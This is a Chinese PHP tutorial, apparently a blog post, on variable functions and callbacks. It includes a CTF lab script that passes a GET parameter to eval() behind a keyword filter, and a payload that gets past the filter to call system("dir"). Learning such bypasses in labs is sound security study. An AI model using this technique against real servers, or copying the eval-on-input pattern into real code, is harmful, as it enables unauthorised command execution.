当前位置: 首页 > news >正文

php基础学习之可变函数(web渗透测试关键字绕过rce和回调函数)

可变函数

看可变函数的知识点之前,蒟蒻博主建议你先去看看php的可变变量,会更加方便理解,在本篇博客中的第五块知识点->php基础学习之变量-CSDN博客

描述

当一个变量所保存的值刚好是一个函数的名字(由函数命名规则可知该值必须是字符串),那么就可以通过【变量名()】的形式实现该函数的调用

代码示例

<?php
function test(){echo "test函数被调用了";
}
$var = "test";//变量var中存放字符串test
$var();//通过可变函数语法去调用test函数, 等价于->test();

用途

web渗透中命令执行的关键字绕过

思路

可变函数可用作web渗透测试中绕过关键字实现rce,其思路是将被过滤的函数名作为字符串存放在其它变量中,然后从相应的数组中取出该值,绕过过滤实现函数的执行

测试脚本

下面给出一段靶场代码以供测试,在这段脚本中,我们的目的是绕过被过滤的system关键字,使用system函数执行dir命令(dir是用于windows系统查看文件目录的命令)

<?php
highlight_file(__FILE__);
echo "命令执行,用system函数列出当前目录,这是windows系统" . "<br>";
if (isset($_GET['cmd'])) {$cmd = $_GET['cmd'];if (preg_match("/system/i", $cmd)) {echo "就你还想当黑客?";} else {echo $_GET['a']. " ". $cmd;//展示参数名eval($cmd);//执行命令}
}
payload

解释:在a变量中存放system函数名,然后从$_GET数组中取出该值,按可变函数的语法调用system函数

a=system&cmd=$_GET['a']("dir");

在实际靶场使用也是没问题的!(题目来源:【CTFshow-web30】)

回调函数

思路

参考->C语言回调函数详解(全网最全)-CSDN博客

回调函数是开发中很常用的一种编程技术,回调函数a会被作为参数传递给另一个函数b,并在这个函数b的执行过程中去调用回调函数(a)

在C语言中会使用指针来实现,C++/Java使用引用来实现

php则可以使用可变函数实现——将回调函数的函数名作为参数(字符串)传递给另一个函数后,这个函数就能利用可变函数的语法实现回调

测试脚本
<?php
function Add($x, $y){return $x + $y;
}
function Sub($x, $y){return $x - $y;
}
function Mul($x, $y){return $x * $y;
}
function Div($x, $y){return $x / $y;
}
//↑上面是4个简单的加减乘除四则运算函数的定义
function calculator($x, $y, $op_func){//该函数将实现四则运算echo $op_func($x, $y). "<br>";//op_func中存放着调用calculator函数时传来的运算函数的函数名, 利用可变函数语法实现回调
}
calculator(2, 3, "Add");//5
calculator(2, 3, "Sub");//-1
calculator(2, 3, "Mul");//6
calculator(2, 3, "Div");//0.66666666666667
示例

解释:在调用calculator函数时除了传入操作数外还传入一个运算函数的函数名,calculator函数会接收这三个参数,并利用可变函数的语法对传入的运算函数实现回调

相关文章:

php基础学习之可变函数(web渗透测试关键字绕过rce和回调函数)

可变函数 看可变函数的知识点之前&#xff0c;蒟蒻博主建议你先去看看php的可变变量&#xff0c;会更加方便理解&#xff0c;在本篇博客中的第五块知识点->php基础学习之变量-CSDN博客 描述 当一个变量所保存的值刚好是一个函数的名字&#xff08;由函数命名规则可知该值必…...

MongoDB聚合操作符:$acos

$acos操作符返回一个值的反余弦。从MongoDB4.2版本开始支持。 语法 { $acos: <expression> }$acos接受任何可被解析为值在-1到1之间的表达式&#xff0c;即&#xff1a;-1 < value < 1$acos返回值以弧度为单位&#xff0c;使用$radiansToDegrees操作符可以把输出…...

开源PDF工具 Apache PDFBox 认识及使用(知识点+案例)

文章目录 前言源码获取一、认识PDFBox二、导入依赖三、基础功能demo1&#xff1a;读取pdf所有内容demo2&#xff1a;读取所有页内容&#xff08;分页&#xff09;demo3&#xff1a;添加页眉、页脚demo4&#xff1a;添加居中45文字水印demo5&#xff1a;添加图片到右上角 参考文…...

微软.NET6开发的C#特性——委托和事件

我是荔园微风&#xff0c;作为一名在IT界整整25年的老兵&#xff0c;看到不少初学者在学习编程语言的过程中如此的痛苦&#xff0c;我决定做点什么&#xff0c;下面我就重点讲讲微软.NET6开发人员需要知道的C#特性&#xff0c;然后比较其他各种语言进行认识。 C#经历了多年发展…...

卷积神经网络的基本结构

卷积神经网络的基本结构 与传统的全连接神经网络一样&#xff0c;卷积神经网络依然是一个层级网络&#xff0c;只不过层的功能和形式发生了变化。 典型的CNN结构包括&#xff1a; 数据输入层&#xff08;Input Layer&#xff09;卷积层&#xff08;Convolutional Layer&#x…...

python:使用GDAL库读取遥感影像指定行列数/经纬度坐标的像素值

作者:CSDN @ _养乐多_ 本文将介绍如何使用GDAL库来读取单波段遥感影像数据,如何获取指定行列位置的像素的经纬度坐标,并根据像素行列数或者经纬度坐标获取像素值。代码由python实现。 文章目录 一、读取影像二、获取指定行列位置的像素坐标三、根据地理坐标获取像素值四、根…...

Redis篇----第一篇

系列文章目录 文章目录 系列文章目录前言一、什么是 Redis?二、Redis 与其他 key-value 存储有什么不同?三、Redis 的数据类型?四、使用 Redis 有哪些好处?五、Redis 相比 Memcached 有哪些优势?前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住…...

C语言-----用二维数组解决菱形的打印问题

1.打印菱形&#xff0c;多组输入&#xff0c;一个整数&#xff08;2~20&#xff09;&#xff0c;表示输出的行数&#xff0c;也表示组成“X”的反斜线和正斜线的长度。 #include <stdio.h>int main() {int n0;while(scanf("%d",&n)! EOF){int i0;int j0;f…...

.NET Core WebAPI中使用swagger版本控制,添加注释

一、效果 二、实现步骤 在代码中添加注释 在项目属性中生成API文档 在Program中注册Swagger服务并配置文档信息 // 添加swagger注释 builder.Services.AddSwaggerGen(x > {x.SwaggerDoc("v1", new OpenApiInfo { Title "Swagger标题", Version "…...

css篇---移动端适配的方案有哪几种

移动端适配 移动端适配是指同一个页面可以在不同的移动端设备上都有合理的布局。主流实现的方案有 响应式布局通过rem或者vw,vh 等实现不同设备有相同的比例而实现适配 首先需要了解viewport 【视口】 视口代表了一个可看见的多边形区域&#xff08;通常来说是矩形&#xff0…...

一、部署Oracle

部署Oracle 一、Docker部署1.Oracle11g1.1 测试环境1.1.1 拉取镜像1.1.2 启动容器1.1.3 配置容器环境变量1.1.4 修改sys、system用户密码1.1.5 创建表空间1.1.6 创建用户并授权1.1.5 使用DBeaver测试连接 二、安装包部署 一、Docker部署 1.Oracle11g 1.1 测试环境 当前只能用…...

11-编写自动化测试

上一篇&#xff1a; 10-通用类型、特质和生命周期 Edsger W. Dijkstra 在 1972 年发表的文章《The Humble Programmer》中说&#xff1a;"程序测试可以非常有效地显示错误的存在&#xff0c;但对于显示错误的不存在却无能为力。这并不意味着我们不应该尽可能多地进行测试&…...

爱上JVM——常见问题(一):JVM组成

1 JVM组成 1.1 JVM由那些部分组成&#xff0c;运行流程是什么&#xff1f; 难易程度&#xff1a;☆☆☆ 出现频率&#xff1a;☆☆☆☆ JVM是什么 Java Virtual Machine Java程序的运行环境&#xff08;java二进制字节码的运行环境&#xff09; 好处&#xff1a; 一次编写&…...

C#系列-EF扩展框架AutoMapper应用实例(40)

AutoMapper是一个对象到对象的映射器&#xff0c;它用于将一个对象的属性映射到另一个对象的属性。它主要用于在应用程序的不同层之间传输数据时&#xff0c;自动将数据传输对象&#xff08;DTOs&#xff09;映射到领域模型&#xff0c;或者将领域模型映射到视图模型等。 下面…...

DataX源码分析-插件机制

系列文章目录 一、DataX详解和架构介绍 二、DataX源码分析 JobContainer 三、DataX源码分析 TaskGroupContainer 四、DataX源码分析 TaskExecutor 五、DataX源码分析 reader 六、DataX源码分析 writer 七、DataX源码分析 Channel 八、DataX源码分析-插件机制 文章目录 系列文章…...

容器高级知识: 适配器模式与 Sidecar 模式的区别

适配器模式与 Sidecar 模式的区别 在 Kubernetes 中&#xff0c;适配器模式和 Sidecar 模式都是扩展您的主应用程序容器功能的方法&#xff0c;但它们具有不同的目的和功能&#xff1a; Sidecar 模式&#xff1a; 通用目的&#xff1a; 为主应用程序提供 补充功能&#xff0…...

使用Xdisplay将ipad作为扩展显示器Agent闪退问题

1. 正常流程贴子挺多&#xff0c;可以参考这几篇 https://blog.csdn.net/Shi_Xueqing/article/details/129744496 如何将ipad作为win10的扩展屏&#xff08;使用USB线连接&#xff09;_ipad win usb 上网-CSDN博客 2.在进行pc端软件设置的时候发生闪退 解决方法&#xff1a…...

DVXplorer事件相机入门

DV官方文档&#xff1a;Get Started DV (inivation.gitlab.io) DV事件相机的ROS包&#xff1a;https://github.com/uzh-rpg/rpg_dvs_ros 事件相机的资源汇总&#xff1a;https://github.com/uzh-rpg/event-based_vision_resources 1.DV事件相机ROS包驱动程序安装 注意&#x…...

ubuntu屏幕小的解决办法

1. 安装vmware tools , 再点自适应客户机 执行里面的vmware-install.pl这个文件 &#xff1a;sudo ./vmware-install.pl 执行不了可以放到家目录&#xff0c;我放在了/home/book 里面 最后点这个自适应客户机 然后我这里点不了是因为我点了控制台视图和拉伸客户机&#xff0c…...

黑群晖一键修复:root、AME、DTS、转码、CPU型号等

食用方法&#xff1a;SSH连接群晖使用临时root权限执行 AME3.x激活补丁 只适用于x86_64的&#xff1a;DSM7.x Advanced Media Extensions (AME)版本3.0.1-2004、3.1.0-3005 激活过程需要下载官方的解码包&#xff0c;过程较慢&#xff0c;耐心等待。。。 DSM7.1和7.2的AME版…...

NCM解密终极指南:3步释放网易云音乐到任何播放器

NCM解密终极指南&#xff1a;3步释放网易云音乐到任何播放器 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 你是否曾经在网易云音乐下载了心爱的歌曲&#xff0c;却发现只能在特定应用中播放&#xff1f;当你想要将音乐迁移到其他设…...

实战解析:如何通过显卡频率优化解决CUDA/TensorRT推理速度骤降问题

1. 从异常现象到问题定位 最近在部署一个基于YOLOv5的工业检测系统时&#xff0c;遇到了一个让人头疼的问题&#xff1a;当系统从连续检测模式切换到条件触发模式后&#xff0c;原本飞快的CUDA推理速度突然下降了近5倍。更诡异的是&#xff0c;降低相机帧率后&#xff0c;推理…...

告别模组冲突:用Nexus Mods App打造稳定游戏体验的智能解决方案

告别模组冲突&#xff1a;用Nexus Mods App打造稳定游戏体验的智能解决方案 【免费下载链接】NexusMods.App Home of the development of the Nexus Mods App 项目地址: https://gitcode.com/gh_mirrors/ne/NexusMods.App 还在为游戏模组冲突而烦恼吗&#xff1f;每次安…...

别再乱装CUDA了!用Anaconda为你的3060 Ti一键搞定PyTorch GPU环境(含CUDA 11.3实战)

3060 Ti显卡玩家的PyTorch环境配置指南&#xff1a;用Anaconda避开CUDA版本地狱 在深度学习领域&#xff0c;GPU加速已经成为提升模型训练效率的标配。然而&#xff0c;对于许多刚入门的开发者来说&#xff0c;配置PyTorch的GPU支持往往成为第一道门槛——尤其是当涉及到CUDA版…...

Codesys ST语言PID调参避坑指南:从仿真到实战,手把手教你搞定温控/电机项目

Codesys ST语言PID调参避坑指南&#xff1a;从仿真到实战的工程化解决方案 在工业自动化领域&#xff0c;PID控制算法占据着核心地位。无论是恒温控制、电机调速还是压力调节&#xff0c;一个精心调校的PID控制器往往能决定整个系统的性能表现。然而&#xff0c;许多工程师在掌…...

网盘下载新革命:九大平台一键直链,告别客户端束缚

网盘下载新革命&#xff1a;九大平台一键直链&#xff0c;告别客户端束缚 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 &#xff0c;支持 百度网盘 / 阿里云盘 / 中国移动云盘…...

Godot卡牌游戏框架终极指南:3小时从零构建专业级卡牌游戏

Godot卡牌游戏框架终极指南&#xff1a;3小时从零构建专业级卡牌游戏 【免费下载链接】godot-card-game-framework A framework which comes with prepared scenes and classes to kickstart your card game, as well as a powerful scripting engine to use to provide full r…...

Steam Achievement Manager完整指南:快速解决游戏成就难题的终极工具

Steam Achievement Manager完整指南&#xff1a;快速解决游戏成就难题的终极工具 【免费下载链接】SteamAchievementManager A manager for game achievements in Steam. 项目地址: https://gitcode.com/gh_mirrors/st/SteamAchievementManager 核心关键词&#xff1a;S…...

MTKClient终极指南:解锁联发科芯片调试的专业解决方案

MTKClient终极指南&#xff1a;解锁联发科芯片调试的专业解决方案 【免费下载链接】mtkclient MTK reverse engineering and flash tool 项目地址: https://gitcode.com/gh_mirrors/mt/mtkclient MTKClient作为一款专为联发科&#xff08;MediaTek&#xff09;芯片设计的…...

Arm CoreLink PCK-600电源管理架构与寄存器编程详解

1. Arm CoreLink PCK-600电源控制架构解析在嵌入式系统设计中&#xff0c;电源管理单元&#xff08;PMU&#xff09;是实现高效能耗控制的核心组件。Arm CoreLink PCK-600作为业界领先的电源控制解决方案&#xff0c;其架构设计体现了现代SoC电源管理的先进理念。PCK-600系列采…...